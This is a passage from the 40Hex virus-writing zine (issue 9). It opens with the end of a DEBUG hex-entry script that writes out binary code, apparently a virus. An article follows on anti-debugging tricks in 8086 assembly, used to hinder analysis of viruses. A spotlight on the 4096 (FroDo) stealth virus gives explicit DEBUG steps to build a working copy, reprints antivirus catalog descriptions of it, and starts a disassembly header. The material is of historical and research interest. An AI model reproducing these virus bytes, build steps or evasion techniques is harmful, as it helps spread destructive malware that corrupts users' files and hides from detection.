  725. e 0330  2A 74 09 80 FD 4B 74 04 F9 E9 A8 02 51 0E 1F BA 
  726. e 0340  C5 17 B9 1A 00 B4 3F CD 21 33 C8 F9 75 4D 8B F2 
  727. e 0350  AD 3D 4D 5A 74 4A 3D 5A 4D 74 45 26 3B 4D 13 F9 
  728. e 0360  75 39 A3 4D 01 AD A3 4F 01 26 8B 45 11 2D 10 08 
  729. e 0370  72 29 26 89 45 15 50 E8 A4 02 72 1D 8B F2 8B 04 
  730. e 0380  A3 51 01 B5 AB 88 2E 4B 01 32 C4 75 0C 50 E8 7C 
  731. e 0390  02 58 72 05 AC 32 C4 E1 FB 91 5A 59 72 9B 74 2A 
  732. e 03A0  74 42 84 C9 75 92 33 F6 3D D2 06 72 1D 26 8A 45 
  733. e 03B0  12 F6 D0 A8 38 74 81 58 50 86 C4 33 D2 26 8B 75 
  734. e 03C0  11 83 EE 03 F7 F6 83 C2 03 49 51 26 89 55 15 8B 
  735. e 03D0  C2 2D 03 00 C6 06 C5 17 E9 A3 C6 17 B9 FD 00 33 
  736. e 03E0  C0 E9 18 01 8B 44 16 26 89 45 15 B1 04 E8 30 02 
  737. e 03F0  72 A9 D1 E8 87 44 06 48 48 A3 51 01 01 44 0C 01 
  738. e 0400  44 14 40 40 B1 10 3A E1 F5 72 90 F7 E1 87 54 04 
  739. e 0410  8B CA D1 E2 D1 E2 03 54 16 2B C2 72 EC 83 7C 0A 
  740. e 0420  00 74 0F 50 2D F2 07 73 17 D1 E0 03 D0 72 11 2B 
  741. e 0430  D0 58 2D 22 01 73 06 D1 E0 03 D0 73 CB 33 C0 50 
  742. e 0440  8B 44 16 2B D0 5E 72 C1 56 80 E2 FC 03 D0 26 89 
  743. e 0450  55 15 2B D0 D1 EA D1 EA BE E5 07 56 2D 20 00 73 
  744. e 0460  0A 83 EE 04 05 04 00 4A 79 01 42 89 16 4D 01 2B 
  745. e 0470  CA 73 02 33 C9 A3 4F 01 5A 51 D1 E1 D1 E1 75 09 
  746. e 0480  3B F2 74 05 26 80 45 15 04 B4 3F CD 21 59 72 56 
  747. e 0490  26 29 45 15 57 53 BF DF 17 32 D2 51 56 57 AF 57 
  748. e 04A0  E3 23 AD 8B F8 AD D1 C0 D1 C0 D1 C0 D1 C0 8B D8 
  749. e 04B0  80 E3 F0 03 DF 14 00 24 0F 3A C2 75 06 5F 89 1D 
  750. e 04C0  47 47 57 E2 DD 58 5B 5E 59 8B F8 2B C3 D1 E8 48 
  751. e 04D0  89 07 42 80 FA 10 75 C3 5B 5F BA DF 17 D1 E1 83 
  752. e 04E0  C1 20 B4 40 CD 21 5E 59 72 7E 51 26 8B 4D 15 83 
  753. e 04F0  E9 20 33 C0 87 0E D9 17 87 06 DB 17 89 0E 53 01 
  754. e 0500  A3 55 01 59 58 41 56 52 51 53 33 D2 B9 90 00 F7 
  755. e 0510  F1 E8 40 01 A3 14 00 E8 3A 01 A3 1E 00 92 B2 06 
  756. e 0520  F6 F2 BE E1 07 E8 00 01 BB D8 05 E8 06 01 BB E0 
  757. e 0530  07 BE AC 05 B9 26 00 AC 24 3F 74 1F 50 24 07 D7 
  758. e 0540  B4 F8 92 58 51 B1 03 D2 E8 74 07 D7 D2 E0 0A D0 
  759. e 0550  B6 C0 59 20 B4 53 FA 08 94 53 FA E2 DA 91 5B 59 
  760. e 0560  5E 84 C9 75 26 E8 A5 00 72 77 91 26 03 45 11 2B 
  761. e 0570  C1 26 89 45 15 FE C4 A3 51 01 C6 06 4B 01 A5 B4 
  762. e 0580  40 CD 21 33 C1 75 5A 26 89 75 15 06 57 99 A3 57 
  763. e 0590  01 96 EC 24 1F 91 EC 24 1F 1E 07 BF E1 07 F6 84 
  764. e 05A0  AC 05 80 74 04 E8 B6 00 91 A4 81 FE 20 00 75 EE 
  765. e 05B0  E8 AB 00 AD B9 D7 03 AD 33 06 D8 07 33 D0 AB E2 
  766. e 05C0  F6 33 54 08 31 55 E0 5F 07 5E 56 B4 40 E8 3F 00 
  767. e 05D0  33 C8 75 0D 26 89 4D 15 BA C5 17 B1 18 B4 40 CD 
  768. e 05E0  21 B5 3E F9 58 06 1F 8F 45 15 8F 45 17 73 11 8A 
  769. e 05F0  45 0D F6 D0 A8 1F 74 08 80 4D 0D 1F 80 65 05 BF 
  770. e 0600  58 0A C4 24 40 08 45 06 B4 3E CD 21 C3 B4 3F B9 
  771. e 0610  00 01 BA C8 00 85 F6 74 0C B9 D0 07 EB 04 B1 02 
  772. e 0620  B4 3F BA E1 07 CD 21 C3 BB D2 05 E8 08 00 88 04 
  773. e 0630  46 BB D5 05 8A C4 D0 E8 8A D0 50 14 01 3C 03 72 
  774. e 0640  02 2C 03 0A D0 D7 88 04 46 58 D7 88 04 46 8A C2 
  775. e 0650  34 03 D7 C3 D1 EA B8 79 F7 73 02 0C 04 C3 E8 01 
  776. e 0660  00 91 98 3C 02 73 02 B0 02 3B F0 76 3E 8D 45 1F 
  777. e 0670  8A 26 57 01 A3 57 01 48 3A C4 B0 90 AA 75 14 EC 
  778. e 0680  24 1F 3C 08 73 0D B4 09 F6 E4 04 C0 8A E0 B0 87 
  779. e 0690  89 45 FE 8B C6 53 B3 15 2C 11 3C 05 72 08 B3 1F 
  780. e 06A0  2C 0A 3C 05 73 02 FE 0F 5B B0 20 C3 00 00 00 84 
  781. e 06B0  80 82 00 00 82 80 2C 80 09 80 00 0E 00 84 84 82 
  782. e 06C0  80 00 83 80 00 0F 00 85 85 83 80 00 00 00 00 04 
  783. e 06D0  00 01 00 01 02 03 06 07 07 04 05 9C FA 50 53 51 
  784. e 06E0  52 56 57 1E 06 FC 0E 07 91 80 FD 3E 74 0F 8B F2 
  785. e 06F0  BF DF 17 B4 60 CD 21 B8 00 3D CD 21 93 BA 00 00 
  786. e 0700  8E DA BF D0 07 BE 4C 00 B8 B3 07 87 04 AB 50 8C 
  787. e 0710  C0 87 44 02 AB 50 B8 38 07 87 44 44 50 8C C0 87 
  788. e 0720  44 46 50 1E 56 A1 6C 04 50 E8 9C FB 0E 1F BE DF 
  789. e 0730  17 8B FE 80 FD 4B 74 0C 54 58 80 FD 3E F9 74 75 
  790. e 0740  3B C4 72 71 AC 3C 5C 75 02 8B FE 84 C0 75 F5 B8 
  791. e 0750  2A 2E 89 05 98 89 45 02 B4 2F CD 21 06 53 BA E1 
  792. e 0760  07 B4 1A CD 21 0E 07 B9 23 00 BA DF 17 B4 4E CD 
  793. e 0770  21 72 30 A0 F7 07 F6 D0 A8 1F 74 21 BE FF 07 57 
  794. e 0780  AC AA 84 C0 75 FA 5F 8B 44 FD 3D 58 45 74 07 3D 
  795. e 0790  4F 4D 75 09 B4 43 B0 2E 3B 44 FB 74 06 B4 4F CD 
  796. e 07A0  21 73 D0 5A 1F B4 1A CD 21 72 0A 0E 1F BA DF 17 
  797. e 07B0  B8 00 3D CD 21 5B 93 E8 0E FB 5E 1F 8F 44 46 8F 
  798. e 07C0  44 44 8F 44 02 8F 04 07 1F 5F 5E 5A 59 5B 58 9D 
  799. e 07D0  EA 00 00 00 00 56 57 55 1E 06 8B EC 80 FC 82 75 
  800. e 07E0  52 8C D8 3B 46 0C 75 4B B8 18 12 CD 2F 8C C8 3B 
  801. e 07F0  44 14 74 3F AD 80 EC 3D 74 1F FE CC 74 19 2D 00 
  802. e 0800  0D 75 30 C4 7C 10 26 81 7D FE CD 21 75 25 40 2E 
  803. e 0810  30 06 B2 07 75 1D F9 B3 30 0E 07 BF D1 06 B8 DB 
  804. e 0820  05 87 44 10 73 02 48 48 AB 8C C8 87 44 12 AB 80 
  805. e 0830  64 14 FE 07 1F 5D 5F 5E B0 03 CF 58 80 EC 02 80 
  806. e 0840  FC 02 73 0C FF 45 01 75 07 B8 01 03 9C FF 5D FA 
  807. e 0850  58 D1 E8 73 53 B4 01 EB 51 1E 57 0E 1F BF DA 07 
  808. e 0860  80 3D 00 74 0D 41 75 09 32 E4 86 25 F9 8B 4D 05 
  809. e 0870  41 49 9C 50 9C FF 5D FA 73 C1 1F 1F EB 2C 88 25 
  810. e 0880  89 4D 05 3A 65 03 75 03 80 F4 01 51 B9 FF FF 9C 
  811. e 0890  FF 5D F6 59 9C 50 32 C0 86 05 A8 02 75 FE 58 9D 
  812. e 08A0  73 08 80 FC 01 F9 75 02 33 C0 5F 1F FB CA 02 00 
  813. e 08B0  98 34 00 1E 57 0E 1F BF DA 07 3A 65 04 74 E9 84 
  814. e 08C0  E4 74 E5 80 FC 01 74 05 80 FC 05 72 B1 5F 1F EA 
  815. rcx
  816. 07D0
  817. w
  818. q
  819. -------------------------------------------------------------------------------
  820.                                                                              DA
  821. 40Hex Number 9 Volume 2 Issue 5                                       File 004
  822.  
  823. I picked this up in a collection of clips from the Fidonet 80xxx echo,
  824. figured it might interest someone.
  825.                                         --Hawkmoon
  826.  
  827. ===============================================================================
  828.  
  829.                             Anti Debugging Tricks
  830.                                      By:
  831.                                   Inbar Raz
  832.  
  833.                                Release number 2
  834.  
  835.   Today's anti debugging tricks devide into two categories:
  836.  
  837.   1. Preventive actions;
  838.   2. Self-modifying code.
  839.  
  840.   Most debugging tricks, as for today, are used within viruses, in order to
  841. avoid dis-assembly of the virus, as it will be exampled later in this file.
  842. Another big part of anti debugging tricks is found with software protection
  843. programs, what use them in order to make the cracking of the protection
  844. harder.
  845.  
  846. 1. Preventive actions:
  847. ----------------------
  848.  
  849.   Preventive actions are, basically, actions that the program takes in order
  850. to make the user unable to dis-assemble the code or trace it while running.
  851.  
  852. 1.1. Interrupt disable:
  853.  
  854.        Interrupt disable is probably the most common form of anti-debugging
  855.      trick. It can be done in several ways:
  856.  
  857.    1.1.1. Hardware masking of interrupt:
  858.  
  859.             In order to avoid tracing of a code, one usually disables the
  860.           interrupt via the 8259 Interrupt Controller, addressed by read/write
  861.           actions to port 21h. The 8259 Interrupt Controller controls the IRQ
  862.           lines. This means that any IRQ between 0 and 7 may be disabled by
  863.           this action. Bit 0 is IRQ0, bit 1 is IRQ1 etc. Since IRQ1 is the
  864.           keyboard interrupt, you may disable the keyboard without the
  865.           debugger being able to bypass it.
  866.  
  867.           Example:
  868.  
  869.           CS:0100 E421           IN     AL,21
  870.           CS:0102 0C02           OR     AL,02
  871.           CS:0104 E621           OUT    21,AL
  872.  
  873.             Just as a side notice, the keyboard may be also disabled by
  874.           commanding the Programmable Perepheral Interface (PPI), port 61h.
  875.  
  876.           Example:
  877.  
  878.           CS:0100 E461           IN     AL,61
  879.           CS:0102 0C80           OR     AL,80
  880.           CS:0104 E661           OUT    61,AL
  881.  
  882.    1.1.2. Software masking of interrupt:
  883.  
  884.             This is quite an easy form of anti-debugging trick. All you have
  885.           to do is simply replace the vectors of interrupts debuggers use/any
  886.           other interrupt you will not be using or expecting to happen. Do not
  887.           forget to restore the original vectors when you are finished.
  888.           It is adviseable to use manual change of vector, as shown below,
  889.           rather than to change it using interrupt 21h service 25h, because
  890.           any debugger that has gained control of interrupt 21h may replace
  891.           your vector with the debugger's. The example shows an interception
  892.           of interrupt 03h - the breakpoint interrupt.
  893.  
  894.           Example:
  895.  
  896.           CS:0100 EB04           JMP    0106
  897.           CS:0102 0000           ADD    [BX+SI],AL
  898.           CS:0104 0000           ADD    [BX+SI],AL
  899.           CS:0106 31C0           XOR    AX,AX
  900.           CS:0108 8EC0           MOV    ES,AX
  901.           CS:010A 268B1E0C00     MOV    BX,ES:[000C]
  902.           CS:010F 891E0201       MOV    [0102],BX
  903.           CS:0113 268B1E0E00     MOV    BX,ES:[000E]
  904.           CS:0118 891E0401       MOV    [0104],BX
  905.           CS:011C 26C7064C000000 MOV    Word Ptr ES:[000C],0000
  906.           CS:0123 26C7064E000000 MOV    Word Ptr ES:[000E],0000
  907.  
  908.    1.1.3. Vector manipulation
  909.  
  910.             This method involves manipulations of the interrupt vectors,
  911.           mainly for proper activation of the algorithm. Such action, as
  912.           exampled, may be used to decrypt a code (see also 2.1), using data
  913.           stored ON the vectors. Ofcourse, during normal operation of the
  914.           program, vectors 01h and 03h are not used, so unless you are trying
  915.           to debug such a program, it works fine.
  916.  
  917.           Example:
  918.  
  919.           CS:0100 31C0           XOR    AX,AX
  920.           CS:0102 8ED0           MOV    SS,AX
  921.           CS:0104 BC0600         MOV    SP,0006
  922.           CS:0107 8B0E0211       MOV    CX,[1102]
  923.           CS:010B 50             PUSH   AX
  924.           CS:010C 21C8           AND    AX,CX
  925.           CS:010E 01C5           ADD    BP,AX
  926.           CS:0110 58             POP    AX
  927.           CS:0111 E2F8           LOOP   010B
  928.  
  929.    1.1.4. Interrupt replacement
  930.  
  931.             This is a really nasty trick, and it should be used ONLY if you
  932.           are ABSOLUTELY sure that your programs needs no more debugging. What
  933.           it does is simply copy the vectors of some interrupts you will be
  934.           using, say 16h and 21h, onto the vectors of interrupt 01h and 03h,
  935.           that do not occure during normal operation of the program. If the
  936.           user wants to debug the program, he would have to search for every
  937.           occurance of INT 01, and replace it with the appropriate INT
  938.           instruction.
  939.  
  940.           Example:
  941.  
  942.           CS:0100 FA             CLI
  943.           CS:0101 31C0           XOR    AX,AX
  944.           CS:0103 8EC0           MOV    ES,AX
  945.           CS:0105 26A18400       MOV    AX,ES:[0084]
  946.           CS:0109 26A30400       MOV    ES:[0004],AX
  947.           CS:010D 26A18600       MOV    AX,ES:[0086]
  948.           CS:0111 26A30600       MOV    ES:[0006],AX
  949.           CS:0115 B44C           MOV    AH,4C
  950.           CS:0117 CD01           INT    01
  951.  
  952. 1.2. Time watch:
  953.  
  954.        This may be a less common method, but it is usefull against debuggers
  955.      that disable all interrupts except for the time that the program is
  956.      executed, such as Borland's Turbo Debugger. This method simply retains
  957.      the value of the clock counter, updated by interrupt 08h, and waits in an
  958.      infinite loop until the value changes. Another example is when you mask
  959.      the timer interrupt by ORing the value INed from port 21h with 01h and
  960.      then OUTing it back, thus disabling the IRQ0 - Timer interrupt. Note that
  961.      this method is usefull only against RUN actions, not TRACE/PROCEED ones.
  962.  
  963.      Example:
  964.  
  965.      CS:0100 2BC0           SUB    AX,AX
  966.      CS:0102 FB             STI
  967.      CS:0103 8ED8           MOV    DS,AX
  968.      CS:0105 8A266C04       MOV    AH,[046C]
  969.      CS:0109 A06C04         MOV    AL,[046C]
  970.      CS:010C 3AC4           CMP    AL,AH
  971.      CS:010E 74F9           JZ     0109
  972.  
  973. 1.3. Fool the debugger:
  974.  
  975.        This is a very nice technique, that works especially and only on those
  976.      who use Turbo Debugger or its kind. What you do is init a jump to a
  977.      middle of an instruction, whereas the real address actually contains
  978.      another opcode. If you work with a normal step debugger such as Debug or
  979.      SymDeb, it won't work since the debugger jumps to the exact address of
  980.      the jump, and not to the beginning of an instruction at the closest
  981.      address, like Turbo Debugger.
  982.  
  983.      Example:
  984.  
  985.      CS:0100 E421           IN     AL,21
  986.      CS:0102 B0FF           MOV    AL,FF
  987.      CS:0104 EB02           JMP    0108
  988.      CS:0106 C606E62100     MOV    Byte Ptr [21E6],00
  989.      CS:010B CD20           INT    20
  990.  
  991.      Watch this:
  992.  
  993.      CS:0108 E621           OUT    21,AL
  994.  
  995. 1.4. Cause debugger to stop execution:
  996.  
  997.        This is a technique that causes a debugger to stop the execution of a
  998.      certain program. What you need to do is to put some INT 3 instructions
  999.      over the code, at random places, and any debugger trying to run will stop
  1000.      there. Since this techniqu causes the CPU to stop executing the program,
  1001.      and therefore clear the Prefetch Instruction Queue, it is adviseable to
  1002.      use this techinque in conjunction with the PIQ trick, 2.2.2. Note that
  1003.      the example shows how to use these two tricks together.
  1004.  
  1005.      Example:
  1006.  
  1007.      CS:0100 B97502         MOV    CX,0275
  1008.      CS:0103 BE9001         MOV    SI,0190
  1009.      CS:0106 89F7           MOV    DI,SI
  1010.      CS:0108 AC             LODSB
  1011.      CS:0109 C70610013473   MOV    Word Ptr [0110],7334
  1012.      CS:010F CC             INT    3
  1013.      CS:0110 2406           AND    AL,06
  1014.      CS:0112 AA             STOSB
  1015.      CS:0113 C70610012406   MOV    Word Ptr [0110],0624
  1016.      CS:0119 E2ED           LOOP   0108
  1017.  
  1018. 1.5. Halt TD386 V8086 mode:
  1019.  
  1020.        This is a nice way to fool Turbo Debugger's V8086 module (TD386). It is
  1021.      baed on the fact that TD386 does not use INT 00h to detect division by
  1022.      zero (or register overrun after division, which is treated by the
  1023.      processor in the same way as in case of division by zero). When TD386
  1024.      detects a division fault it aborts, reporting about the faulty
  1025.      division. In real mode (even under a regular debugger), a faulty DIV
  1026.      instruction will cause INT 00h to be called. Therefore, pointing INT 00h
  1027.      to the next instruction, will recover from the faulty DIV.
  1028.  
  1029.      Note: It is very important to restore INT 00h's vector. Otherwise, the
  1030.      next call to INT 00h will cause the machine to hang.
  1031.  
  1032.      Example:
  1033.  
  1034.      CS:0100 31C0          XOR     AX,AX
  1035.      CS:0102 8ED8          MOV     DS,AX
  1036.      CS:0104 C70600001201  MOV     WORD PTR [0000],0112
  1037.      CS:010A 8C0E0200      MOV     [0002],CS
  1038.      CS:010E B400          MOV     AH,00
  1039.      CS:0110 F6F4          DIV     AH
  1040.      CS:0112 B8004C        MOV     AX,4C00
  1041.      CS:0115 CD21          INT     21
  1042.  
  1043. 1.6. Halt any V8086 process:
  1044.  
  1045.        Another way of messing TD386 is fooling it into an exception.
  1046.      Unfortunately, this exception will also be generated under any other
  1047.      program, running at V8086 mode. The exception is exception #13, and its
  1048.      issued interrupt is INT 0Dh - 13d. The idea is very similar to the
  1049.      divide by zero trick: Causing an exception, when the exception interrupt
  1050.      points to somewhere in the program's code. It will always work when the
  1051.      machine is running in real mode, but never under the V8086 mode.
  1052.  
  1053.      Note: It is very important to restore the original interrupt vectors.
  1054.      Otherwise, the next exception will hang the machine.
  1055.  
  1056.      Example:
  1057.  
  1058.      CS:0100 31C0          XOR     AX,AX
  1059.      CS:0102 8ED8          MOV     DS,AX
  1060.      CS:0104 C70634001301  MOV     WORD PTR [0034],0113
  1061.      CS:010A 8C0E3600      MOV     [0036],CS
  1062.      CS:010E 833EFFFF00    CMP     WORD PTR [FFFF],+00
  1063.      CS:0113 B8004C        MOV     AX,4C00
  1064.      CS:0116 CD21          INT     21
  1065.  
  1066. 2. Self-modifying code:
  1067. -----------------------
  1068.  
  1069. 2.1. Encryptive/decryptive algorithm:
  1070.  
  1071.        The first category is simply a code, that has been encrypted, and has
  1072.      been added with a decryption routine. The trick here is that when a
  1073.      debugger sets up a breakpoint, it simply places the opcode CCh (INT 03h)
  1074.      in the desired address, and once that interrupt is executed, the debugger
  1075.      regains control of things. If you try to set a breakpoint AFTER the
  1076.      decryption algorithm, what is usually needed, you will end up putting an
  1077.      opcode CCh in a place where decryption action is taken, therefore losing
  1078.      your original CCh in favour of whatever the decryption algorithm makes.
  1079.      The following example was extracted from the Haifa virus. If you try to
  1080.      set a breakpoint at address CS:0110, you will never reach that address,
  1081.      since there is no way to know what will result from the change. Note that
  1082.      if you want to make the tracing even harder, you should start the
  1083.      decryption of the code from its END, so it takes the whole operation
  1084.      until the opcode following the decryption routine is decrypted.
  1085.  
  1086.      Example:
  1087.  
  1088.      CS:0100 BB7109         MOV    BX,0971
  1089.      CS:0103 BE1001         MOV    DI,0110
  1090.      CS:0106 91             XCHG   AX,CX
  1091.      CS:0107 91             XCHG   AX,CX
  1092.      CS:0108 2E803597       XOR    Byte Ptr CS:[DI],97
  1093.      CS:010C 47             INC    DI
  1094.      CS:010D 4B             DEC    BX
  1095.      CS:010E 75F6           JNZ    0106
  1096.      CS:0110 07             POP    ES
  1097.      CS:0111 07             POP    ES
  1098.  
  1099. 2.2. Self-modifying code:
  1100.  
  1101.    2.2.1. Simple self-modification:
  1102.  
  1103.             This method implements the same principle as the encryption
  1104.           method: Change the opcode before using it. In the following example,
  1105.           we change the insruction following the call, and therefore, if you
  1106.           try to trace the entire call ('P'/Debug or F8/Turbo Debugger), you
  1107.           will not succeed, since the debugger will put its CCh on offset 104h,
  1108.           but when the routine runs, it overwrites location 104h.
  1109.  
  1110.           Example:
  1111.  
  1112.           CS:0100 E80400         CALL   0107
  1113.           CS:0103 CD20           INT    20
  1114.           CS:0105 CD21           INT    21
  1115.           CS:0107 C7060301B44C   MOV    Word Ptr [0103],4CB4
  1116.           CS:010D C3             RET
  1117.  
  1118.           Watch this:
  1119.  
  1120.           CS:0103 B44C           MOV    AH,4C
  1121.  
  1122.    2.2.2. Prefetch Instruction Queue (PIQ) manipulation:
  1123.  
  1124.             This method is a bit similar to (1.3), but it fools ANY debugger,
  1125.           or any other process that executes one operation at a time. The PIQ
  1126.           is an area within the CPU, that pre-fethces, ie. takes in advance,
  1127.           instructions from memory, so when they need to be executed, it
  1128.           would take less time to get them, since they are already in the CPU.
  1129.           The PIQ length ranges from 6 or 4 in old computers, up to as high as
  1130.           25 in new ones. What the trick does is change the FOLLOWING opcode
  1131.           to something meaningless. If you are debugging, then the change will
  1132.           take place BEFORE the instructions is executed or fetched. If you
  1133.           run the program NORMALLY, by the time you change the opcode, it will
  1134.           have already been fetched.
  1135.  
  1136.           Example:
  1137.  
  1138.           CS:0100 B97502         MOV    CX,0275
  1139.           CS:0103 BE9001         MOV    SI,0190
  1140.           CS:0106 89F7           MOV    DI,SI
  1141.           CS:0108 AC             LODSB
  1142.           CS:0109 C7060F012406   MOV    Word Ptr [010F],0624
  1143.           CS:010F 3473           XOR    AL,73
  1144.           CS:0111 AA             STOSB
  1145.           CS:0112 C7060F012406   MOV    Word Ptr [010F],0624
  1146.           CS:0118 E2EE           LOOP   0108
  1147.  
  1148.           Watch this:
  1149.  
  1150.           CS:010F 2406           AND    AL,06
  1151.  
  1152. ===============================================================================
  1153. 40Hex Number 9 Volume 2 Issue 5                                       File 005
  1154.  
  1155.  
  1156. Virus Spotlite on: 4096
  1157.  
  1158. The 4096, or FroDo, virus was one of the first known stealth viruses.
  1159. Presented below are the descriptions found in Patricia Hoffman's VSUM
  1160. and in the Computer Virus Catalog.  Of course, the latter description
  1161. is far more accurate, albeit shorter.   The virus infects EXE and COM
  1162. files but not overlays due to the bizarre method with which it checks
  1163. for a valid file extension.  It also cannot handle SYS files.  It has
  1164. a boot block in it;  unfortunately, the code which is called to write
  1165. the boot block to the disk is damaged and the system crashes when the
  1166. virus attempts to access this code.  However, it is worthwhile to rip
  1167. out the boot block from the code and write it to a disk;  the display
  1168. is pretty neat.
  1169.  
  1170. To create a working copy, use debug to create a file with the follow-
  1171. ing bytes:
  1172.  
  1173.   E9 68 02
  1174.  
  1175. and tack on the virus to the end of that file.  Or, do the following:
  1176.  
  1177. C:\>DEBUG 4096.COM
  1178. -E FD
  1179. XXXX:00FD  00.E9   00.68   00.02
  1180. -R CX
  1181. CX 0FF1
  1182. :FF4
  1183. -W FD
  1184. Writing 0FF4 bytes
  1185. -Q
  1186.  
  1187.                                         - Dark Angel
  1188.  
  1189.  
  1190.                                      4096                                     
  1191.  
  1192.  Virus Name:  4096 
  1193.  Aliases:     Century Virus, FroDo, IDF Virus, Stealth Virus, 100 Years
  1194.               Virus
  1195.  V Status:    Common
  1196.  Discovery:   January, 1990
  1197.  Symptoms:    .COM, .EXE, & overlay file growth; TSR hides growth;
  1198.               crosslinks; corruption of data files
  1199.  Origin:      Israel
  1200.  Eff Length:  4,096 Bytes
  1201.  Type Code:   PRsA - Parasitic Resident .COM & .EXE Infector
  1202.  Detection Method:  ViruScan, F-Prot, IBM Scan, VirexPC, AVTK, NAV, Novi,
  1203.                     Sweep, CPAV, UTScan, Gobbler2, VBuster, AllSafe,
  1204.                     ViruSafe
  1205.  Removal Instructions: CleanUp, F-Prot, NAV or delete infected files
  1206.  
  1207.  General Comments:
  1208.        The 4096 virus was first isolated in January, 1990.  This virus is
  1209.        considered a stealth virus in that it is almost invisible to the
  1210.        system user.
  1211.  
  1212.        The 4096 virus infects .COM, .EXE, and Overlay files, adding 4,096
  1213.        bytes to their length.  Once the virus is resident in system memory,
  1214.        the increase in length will not appear in a directory listing.  Once
  1215.        this virus has installed itself into memory, it will infect any
  1216.        executable file that is opened, including if it is opened with the
  1217.        COPY or XCOPY command.
  1218.  
  1219.        This virus is destructive to both data files and executable files,
  1220.        as it very slowly cross-links files on the system's disk.  The
  1221.        cross-linking occurs so slowly that it appears there is a hardware
  1222.        problem, the virus being almost invisible.  The cross-linking of
  1223.        files is the result of the virus manipulating the FATs, changing the
  1224.        number of available sectors, as well as the user issuing CHKDSK/F
  1225.        command which will think that the files have lost sectors or
  1226.        cross-linking if the virus is in memory.
  1227.  
  1228.        As a side note, if the virus is present in memory and you attempt to
  1229.        copy infected files, the new copy of the file will not be infected
  1230.        with the virus if the new copy does not have an executable file
  1231.        extension.  Thus, one way to disinfect a system is to copy off all
  1232.        the infected files to diskettes with a non-executable file extension
  1233.        (i.e., don't use .EXE, .COM, .SYS, etc.) while the virus is active in
  1234.        memory, then power off the system and reboot from a write-protected,
  1235.        uninfected system disk. Once rebooted and the virus is not in
  1236.        memory, delete the infected files and copy back the files from the
  1237.        diskettes to the original executable file names and extensions.
  1238.  
  1239.        The above will disinfect the system, if done correctly, but will
  1240.        still leave the problem of cross-linked files which are permanently
  1241.        damaged.
  1242.  
  1243.        On or after September 22 of any year, the 4096 virus will hang
  1244.        infected systems.  This appears to be a "bug" in the virus in that
  1245.        it goes into a time consuming loop.
  1246.  
  1247.        The 4096 virus also contains a boot-sector within its code; however,
  1248.        it is never written out to the disk's boot sector.  Moving this boot
  1249.        sector to the boot sector of a diskette and rebooting the system
  1250.        will result in the message "FRODO LIVES" being displayed. September
  1251.        22 is Bilbo and Frodo Baggin's birthday in the Lord of the Rings
  1252.        trilogy.
  1253.  
  1254.        An important note on the 4096 virus: this virus will also infect
  1255.        some data files.  When this occurs, the data files will appear to be
  1256.        fine on infected systems.  However, after the system is later
  1257.        disinfected, these files will now be corrupted and unpredictable
  1258.        results may occur.
  1259.  
  1260.        Known variant(s) of 4096 are:
  1261.        4096-B: Similar to the 4096 virus, the main change is that the
  1262.                encryption mechanism has been changed in order to avoid
  1263.                detection.
  1264.        4096-C: Isolated in January, 1991, this variant of 4096 is similar
  1265.                to the original virus.  The major difference is that the DOS
  1266.                CHKDSK command will not show any cross-linking of files or
  1267.                lost clusters.  A symptom of infection by this variant is
  1268.                that the disk space available according to a DIR command
  1269.                will be more than the disk space available according to the
  1270.                DOS CHKDSK program.
  1271.        4096-D: Isolated in April, 1992, this variant of 4096 is similar
  1272.                to the 4096-C variant in behavior.  The major difference is
  1273.                that it has been modified to avoid detection by some anti-
  1274.                viral utilities.
  1275.                Origin:  Unknown  April, 1992. 
  1276.  
  1277. ======== Computer Virus Catalog 1.2: "4096" Virus (5-June-1990) ======= 
  1278. Entry...............: "4096" virus
  1279. Alias(es)...........: "100 years" Virus = IDF Virus = Stealth Virus.
  1280. Virus Strain........: ---
  1281. Virus detected when.: October 1989.
  1282.               where.: Haifa, Israel.
  1283. Classification......: Program Virus (extending), RAM-resident.
  1284. Length of Virus.....: .COM files: length increased by 4096 bytes.
  1285.                       .EXE files: length increased by 4096 bytes.
  1286. --------------------- Preconditions -----------------------------------
  1287. Operating System(s).: MS-DOS
  1288. Version/Release.....: 2.xx upward
  1289. Computer model(s)...: IBM-PC, XT, AT and compatibles
  1290. --------------------- Attributes --------------------------------------
  1291. Easy Identification.: ---
  1292. Type of infection...: System: Allocates a memory block at high end of
  1293.                               memory. Finds original address (inside 
  1294.                               DOS) of Int 21h handler. Finds original
  1295.                               address (inside BIOS) of Int 13h handler, 
  1296.                               therefore bypasses all active monitors.
  1297.                               Inserts a JMP FAR to virus code inside 
  1298.                               original DOS handler.
  1299.                       .COM files: program length increased by 4096
  1300.                       .EXE files: program length increased by 4096
  1301. Infection Trigger...: Programs are infected at load time (using the
  1302.                       function Load/Execute of MS-DOS), and whenever 
  1303.                       a file Access is done to a file with the exten-
  1304.                       sion of .COM or .EXE, (Open file AH=3D, 
  1305.                       Create file AH=3C, File attrib AH=43, 
  1306.                       File time/date AH=57, etc.)
  1307. Interrupts hooked...: INT21h, through a JMP FAR to virus code inside 
  1308.                               DOS handler;
  1309.                       INT01h, during virus installation & execution 
  1310.                               of DOS's load/execute function (AH=4B);
  1311.                       INT13h, INT24h during infection.
  1312. Damage..............: The computer usually hangs up.
  1313. Damage Trigger......: A Get Dos Version call when the date is after the 
  1314.                       22th of September and before 1/1 of next year.
  1315. Particularities.....: Infected files have their year set to (year+100)
  1316.                       of the un-infected file.
  1317.                       If the system is infected, the virus redirects 
  1318.                       all file accesses so that the virus itself can
  1319.                       not be read from the file. Also, find first/next 
  1320.                       function returns are tampered so that files 
  1321.                       with (year>100) are reduced by 4096 bytes in size.
  1322. --------------------- Agents ------------------------------------------
  1323. Countermeasures.....: Cannot be detected while in memory, so no 
  1324.                       monitor/file change detector can help.
  1325. Countermeasures successful:
  1326.                       1) A Do-it-yourself way: Infect system by running 
  1327.                          an infected file, ARC/ZIP/LHARC/ZOO all in-
  1328.                          fected .COM and .EXE files, boot from unin-
  1329.                          fected floppy, and UNARC/UNZIP/LHARC E etc. 
  1330.                          all files. Pay special attention to disin-
  1331.                          fection of COMMAND.COM.
  1332.                       2) The JIV AntiVirus Package (by the author of 
  1333.                          this contribution)
  1334.                       3) F. Skulason's F-PROT package.
  1335. Standard means......: ---
  1336. --------------------- Acknowledgement ---------------------------------
  1337. Location............: Weizmann Institute, Israel.
  1338. Classification by...: Ori Berger
  1339. Documentation by....: Ori Berger
  1340. Date................: 26-February-1990
  1341. ===================== End of "4096" Virus =============================
  1342.  
  1343. _4096           segment byte public
  1344.                 assume  cs:_4096, ds:_4096
  1345.  
  1346. ; 4096 Virus
  1347. ; Disassembly done by Dark Angel of Phalcon/Skism for 40Hex Issue #9
  1348. ; Assemble with TASM; the resultant file size is 4081 bytes
  1349.  
